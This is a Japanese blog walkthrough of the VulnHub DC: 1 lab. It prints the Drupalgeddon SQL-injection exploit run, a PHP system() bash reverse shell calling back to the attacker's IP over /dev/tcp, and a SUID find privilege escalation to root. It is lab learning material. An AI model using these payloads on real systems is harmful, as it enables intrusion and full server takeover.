はじめに
今回は、VulnHubのDC: 1というマシンを攻略していきます!どうやら今回のマシンはflagが5つあり、それぞれのflagが次のflagへのヒントになっているようです。
偵察
まずは初めに、ターゲットマシンのIPアドレスを特定します。192.168.56.100はDHCPのIPアドレスなので、DC: 1マシンのIPアドレスは192.168.56.104となります。
┌──(kali㉿kali)-[~VulnHub/DC-1]
└─$ sudo netdiscover -i eth1 -r 192.168.56.103/24
Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:16 1 60 Unknown vendor
192.168.56.100 08:00:27:ed:6a:41 1 60 PCS Systemtechnik GmbH
192.168.56.104 08:00:27:aa:94:9f 1 60 PCS Systemtechnik GmbH
ポートスキャン
次にnmapを実行していきます。今回はPotato1の時とスキャンの仕方を少し変えてみました。
┌──(kali㉿kali)-[~/VulnHub/DC-1]
└─$ sudo nmap -sS -p- -T4 192.168.56.104
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-27 13:59 +0900
Nmap scan report for 192.168.56.104
Host is up (0.00053s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
33952/tcp open unknown
MAC Address: 08:00:27:AA:94:9F (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 8.68 seconds
┌──(kali㉿kali)-[~/VulnHub/DC-1]
└─$ sudo nmap -sC -sV -p 22,80,111,33952 -oN nmap_log.txt 192.168.56.104
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-27 14:04 +0900
Nmap scan report for 192.168.56.104
Host is up (0.00079s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-title: Welcome to Drupal Site | Drupal Site
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-generator: Drupal 7 (http://drupal.org)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 33952/tcp status
| 100024 1 37777/udp6 status
| 100024 1 56371/udp status
|_ 100024 1 59800/tcp6 status
33952/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:AA:94:9F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.87 seconds
今回はPotato1の時と異なり、開いているポートを素早くスキャンし、次にその開いているポートに対して-sCや-sVを実行するという風にしてみました。このように、全ポートスキャンを先に行うことで、隠れたサービスの見落としを防ぎつつ、詳細スキャンを必要なポートだけに絞るようにしました。
ちなみにgobusterも同時に行いましたが、主要なディレクトリへのアクセスは403 Forbiddenで制限されていました。よって、ディレクトリトラバーサルはできませんでした。
スキャン結果から、port 80でdrupal 7が動いていることが分かりました。今回はここを起点に攻めていきます。
HTTPの調査
HTTPにも何かないか調査しましたが、以下のようなログインフォームがあるだけでそれ以外は特に何もありませんでした。
Drupal7の脆弱性を用いた管理者権限奪取
Searchsploit
drupal 7の脆弱性を探すために、searchsploitを実行しました。
Drupalgeddonという脆弱性を見つけることができました!ここで自分は、SQL Injection(Add admin User)を使用することにしました。以下のコマンドでエクスプロイトコードを入手します。
┌──(kali㉿kali)-[~/VulnHub/DC-1]
└─$ searchsploit -m 34992
Exploit: Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User)
URL: https://www.exploit-db.com/exploits/34992
Path: /usr/share/exploitdb/exploits/php/webapps/34992.py
Codes: CVE-2014-3704, OSVDB-113371, SA-CORE-2014-005
Verified: True
File Type: Python script, ASCII text executable, with very long lines (340)
Copied to: /home/kali/VulnHub/DC-1/34992.py
Kali Linuxには、Exploit-DBのローカルコピーが保存されています。searchsploit -m <ID>コマンドを使うことで、膨大なアーカイブの中から該当するエクスプロイトコードを瞬時にカレントディレクトリへ複製することができます。
ここで、複製したコードを実行しようとしたら以下のようなエラーが出ました。
┌──(kali㉿kali)-[~/VulnHub/DC-1]
└─$ python 34992.py
/home/kali/VulnHub/DC-1/34992.py:155: SyntaxWarning: invalid escape sequence '\ '
| _ \ .----.--.--.-----.---.-| | | _ || _ | _ |
File "/home/kali/VulnHub/DC-1/34992.py", line 240
print "[!] VULNERABLE!"
^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)?
このエラーは、pythonというコマンドを打つとデフォルトではpython3が起動してしまうことが原因でした。34992.pyはpython2向けのスクリプトであるため、それを明示してあげる必要があります。
以下のようにpython2を用いることで、正しく実行することができました。
┌──(kali㉿kali)-[~/VulnHub/DC-1]
└─$ python2 34992.py
______ __ _______ _______ _____
| _ \ .----.--.--.-----.---.-| | | _ || _ | _ |
|. | \| _| | | _ | _ | | |___| _|___| |.| |
|. | |__| |_____| __|___._|__| / |___(__ `-|. |
|: 1 / |__| | | |: 1 | |: |
|::.. . / | | |::.. . | |::.|
`------' `---' `-------' `---'
_______ __ ___ __ __ __
| _ .-----| | | .-----|__.-----.----| |_|__.-----.-----.
| 1___| _ | | |. | | | -__| __| _| | _ | |
|____ |__ |__| |. |__|__| |_____|____|____|__|_____|__|__|
|: 1 | |__| |: | |___|
|::.. . | |::.|
`-------' `---'
Drup4l => 7.0 <= 7.31 Sql-1nj3ct10n
Admin 4cc0unt cr3at0r
Discovered by:
Stefan Horst
(CVE-2014-3704)
Written by:
Claudio Viviani
http://www.homelab.it
info@homelab.it
homelabit@protonmail.ch
https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
Usage: 34992.py -t http[s]://TARGET_URL -u USER -p PASS
Options:
-h, --help show this help message and exit
-t TARGET, --target=TARGET
Insert URL: http[s]://www.victim.com
-u USERNAME, --username=USERNAME
Insert username
-p PWD, --pwd=PWD Insert password
SQL Injection
Usageに基づいて、エクスプロイトを実行していきます。
┌──(kali㉿kali)-[~/VulnHub/DC-1]
└─$ python2 34992.py -t http://192.168.56.104/ -u fakeadmin -p password123
______ __ _______ _______ _____
| _ \ .----.--.--.-----.---.-| | | _ || _ | _ |
|. | \| _| | | _ | _ | | |___| _|___| |.| |
|. | |__| |_____| __|___._|__| / |___(__ `-|. |
|: 1 / |__| | | |: 1 | |: |
|::.. . / | | |::.. . | |::.|
`------' `---' `-------' `---'
_______ __ ___ __ __ __
| _ .-----| | | .-----|__.-----.----| |_|__.-----.-----.
| 1___| _ | | |. | | | -__| __| _| | _ | |
|____ |__ |__| |. |__|__| |_____|____|____|__|_____|__|__|
|: 1 | |__| |: | |___|
|::.. . | |::.|
`-------' `---'
Drup4l => 7.0 <= 7.31 Sql-1nj3ct10n
Admin 4cc0unt cr3at0r
Discovered by:
Stefan Horst
(CVE-2014-3704)
Written by:
Claudio Viviani
http://www.homelab.it
info@homelab.it
homelabit@protonmail.ch
https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
[!] VULNERABLE!
[!] Administrator user created!
[*] Login: fakeadmin
[*] Pass: password123
[*] Url: http://192.168.56.104//?q=node&destination=node
ログインフォームにLogin: fakeadmin, Pass: password123を打ち込むと...
ログインが成功しました!
コンテンツ探索
flag3とfindの悪用
fakeadminでログインに成功した後、色々見ているとContentタブにflag3がありました!
...flag1とflag2は何処へ!?
それはさておき、flag3を読んでみます。
「特殊な権限がpasswdを見つける助けになるだろう。だが、shadowの中身をどうやって手に入れるか解明するには、そのコマンドで-execを実行する必要がある。」
日本語での意味は大体こんな感じでした。このヒントを見ると、findコマンドを使ってshadowの中身を見る必要がありそうです。
そこで、GTFObinsでfindコマンドについて調べてみると、以下のコマンドが出てきました。
find . -exec /bin/sh -p \; -quit
コマンドの詳細は以下の通りです。
-
find .
カレントディレクトリを起点に検索を開始します。 -
-exec /bin/sh
findで見つけたファイルに対して、別のコマンド(ここではシェルである/bin/sh)を実行するオプションです。 -
-p
シェルのPrivilegedモードを有効にするオプションです。通常、シェルは安全のために実ユーザーの権限に格下げして起動しようとします。この-pをつけることで、SUIDによって一時的に得ているroot権限を維持したまま起動することができます。 -
\;
-execで実行するコマンドの終わりを示す区切り文字です。 -
-quit
最初の1回コマンド(シェル起動)を実行したら、直ちにfindの処理を終了させます。これがないと、カレントディレクトリにあるファイルの数だけ連続でシェルが立ち上がってしまい、ループから抜け出せなくなります。
ということで、これを実行できるようにするためのシェル環境を構築する必要があります。
PHP Filterモジュールの悪用とRCE
まず初めに、ModulesのPHP Filterにチェックします。チェックしたあと、Save Configurationをクリックします。
次に、ConfigurationのText formatsをクリックします。
そして、PHP codeのconfigureをクリックします。
Rolesにすべてチェックを入れておきます。(自分はadministratorですが、念のため)
これで準備完了です。
準備が完了したら、Add contentをクリックし、ArticleかBasic pageを作成します。
以下のように表示されます。
適当にTitleを入力し、Bodyに以下のようなPHPのsystem()関数を用いてOSに対してidコマンドを実行するコードを書いてみます。
<?php system('id'); ?>
Text formatをPHP codeにしてSaveすると、以下のように出力されました。
成功しました!
リバースシェルの構築
では、これを応用してリバースシェルを構築していきます。
まず、自分のkali側で以下のコマンドを入力して待機しておきます。ncはnetcatというツールのことです。
nc -lvnp 4444
-
-l(Listen)
外からの接続を待ち受けるという指示です。 -
-v(Verbose)
接続が来たときに、どこから接続が来たかの詳細な情報をターミナルに表示してくれます。これがないと、繋がったのかどうかが分かりにくいです。 -
-n(Numeric-only)
DNSを行わないという指示です。IPアドレスをそのまま扱い、余計な通信を省くことで、動作を速くし、意図しないログが残るのを防ぎます。 -
-p(Port)
何番ポートで待ち受けるかを指定します。 -
4444
待ち受けるポート番号です。特に決まりはありませんが、ハッカーの間では 4444 や 1337 などが慣習的に使われることが多いそうです。
そして、以下のコマンドをBodyに入力します。
<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.56.103/4444 0>&1'");
?>
-
bash -c '...'
続く文字列をBashのコマンドとして実行します。
PHPのsystem()は通常/bin/shを経由してコマンドを実行しますが、/bin/shはBashとは限らず、多くの環境で/dev/tcpをサポートしていません。
そのため、このペイロードではbash -c '...'の形で明示的にBashを起動し、その中で/dev/tcpを使ったリバースシェルコマンドを実行しています。 -
bash -i
InteractiveモードでBashを起動します。
インタラクティブシェルとして起動し、対話的にコマンドを受け付けるモードにします。 -
>& /dev/tcp/192.168.56.103/4444
標準出力(stdout)と標準エラー出力(stderr)の両方を、右側の出力先にリダイレクトします。
/dev/tcp/192.168.56.103/4444: Bash独自の機能で、指定したIPとポートに対してネットワーク接続(TCP)を開きます。
コマンドの実行結果やエラーメッセージが、画面ではなくネットワーク経由で自分の端末へ送信されます。 -
0>&1
0: 標準入力(stdin)を指します。
>&1: 「標準入力(0番)を、標準出力(1番)と同じ場所に繋げ」という命令です。
結果: 標準出力は既にネットワークに繋がっているため、自分がKali Linux側で入力した文字が、ターゲット側のBashの入力として扱われるようになります。
入力すると以下の写真のようになるはずです。
これでSaveすると...
┌──(kali㉿kali)-[~/VulnHub/DC-1]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.104] 46551
bash: no job control in this shell
www-data@DC-1:/var/www$
これでシェルを構築することができました!
サーバーへの侵入
サーバーへ侵入することができました!lsコマンドを実行すると、なんとここにflag1があることが判明したので見ていきます。
www-data@DC-1:/var/www$ cat flag1.txt
cat flag1.txt
Every good CMS needs a config file - and so do you.
configファイルがあるようです。drupal7の場合、標準的な設定ファイルのパスは/sites/default/settings.phpにあるようなので、それを覗いていきます。
www-data@DC-1:/var/www$ cat sites/default/settings.php
cat sites/default/settings.php
<?php
/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
.
.
これでflag2も回収できました!
権限昇格
先ほどのflag3をヒントに、findコマンドで権限昇格していきます。
www-data@DC-1:/var/www$ find . -exec /bin/sh -p \; -quit
find . -exec /bin/sh -p \; -quit
/bin/sh: 0: Illegal option -p
/bin/sh: 0: Illegal option -p
/bin/sh: 0: Illegal option -p
GTFObinsのコマンドをそのまま打つとこのようなエラーがずっと表示されました。これはおそらく、bin/shがBashではないので-pというオプションを理解できなかったことが原因です。なので、エラーが言っている通りに-pを消去すると...
www-data@DC-1:/var/www$ find . -exec /bin/sh \; -quit
find . -exec /bin/sh \; -quit
whoami
root
rootになれました!あとは以下のようにしてthefinalflag.txtを見ることができました!
cd /root
ls
thefinalflag.txt
cat thefinalflag.txt
██████████████████████████████████████████
████████████████████████████████████████████
██████████████████████████████
...flag4は何処へ!?
とりあえずhomeディレクトリに戻ってみると、flag4というディレクトリが存在していました。なので、以下のようにしてflag4も見ることができました。
cat /home/flag4/flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
これですべてのflagが回収できました!
まとめと感想
今回は解くときに強力な脆弱性をついてしまったので、flagをちょくちょく飛ばすというハプニング(?)があって、攻略しているときに少し驚きましたw
今回のマシンでは、ディレクトリの再帰的スキャンも必要であることを学びました。また、エクスプロイトコードやGTFObinsのコマンドをただ使うスクリプトキディではなく、理解して自分でも作れる、コマンドが組み立てられるレベルになっていきたいと強く感じました。そして、今回も前回と同様知らないことが多くあったので、生成AIの助けを借りた部分が多くありました。生成AIの力に頼らなくとも解けるレベルになれるよう、これからもどんどん練習を積んでいきたいと思います!
今後の展望
今回攻略しているときに自動化できそうな作業がいくつかあったので、nmapやgobusterなどの作業を自動化できるようなツールもいつか作成したいと思います!また、VulnHubだけでなく、HackTheBoxやTryHackMeのようなプラットフォームにあるマシンも攻略していきます!
P.S. 今回の記事で、何か間違っていることがあれば指摘していただけると幸いです。
新歓
flag{見てくれてありがとう}











